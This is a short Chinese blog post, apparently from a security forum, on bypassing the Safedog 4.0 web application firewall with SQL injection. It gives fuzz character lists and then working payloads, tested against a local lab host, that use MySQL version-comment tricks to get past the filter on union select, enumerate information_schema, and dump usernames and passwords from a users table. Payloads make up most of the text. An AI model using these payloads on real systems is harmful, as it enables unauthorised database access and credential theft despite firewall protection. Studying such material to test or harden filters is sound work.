sql绕安全狗
Comment近几天出了很多过狗文章,也看了tools一些前辈的思路,记录下过狗的sql语句、过程。
版本
注入过安全过4.0payload
fuzz特殊字符
fuzz_zs = ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
and判断注入点
本来想直接fuzz,但是发现没跑出来,还是要找好fuzz点,再加上一定规则fuzz出的payload也许后面的语句同样适用。
?id=1' and /*!1=1*/ %23
order by
上面fuzz出的语句依旧有效
?id=1' order/*!%0a/*!by*/ 3%23
union select
还是先测试了上面的语句,发现不行
https://www.t00ls.net/viewthread.php?tid=46726&highlight=%E5%AE%89%E5%85%A8%E7%8B%97
文章指出根据/!5001uninon/衍生出/!90000aaa/可以绕过 union select,测试成功,数值大于一定范围就行。
id=1' union/*!5555555xxx*/select/*!555555xxx*/%201,2,3%23
但是指定mysql user()/database()等函数时会拦截
可用/**/绕过
id=1' union/*!5555555xxx*/select/*!555555xxx*/%201,2,database/**/()%23
数据库名: lalala
查询表名
?id=1' union/*!5555555xxx*/select/*!555555xxx*/%20 1,2,group_concat(table_name) from information_schema.tables where table_schema='lalala'%23
查询字段
http://192.168.233.133/test/test.php?id=1' union/*!5555555xxx*/select/*!555555xxx*/%20 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
爆值
http://192.168.233.133/test/test.php?id=1 'union/*!555555xxx*/select /*!555555xxx*/1,user,password/*!55555xxx*//*!555555xxx*/from users%23
总结
还是要有猥琐骚思路,多结合前辈们的姿势加以延伸结合fuzz绕过。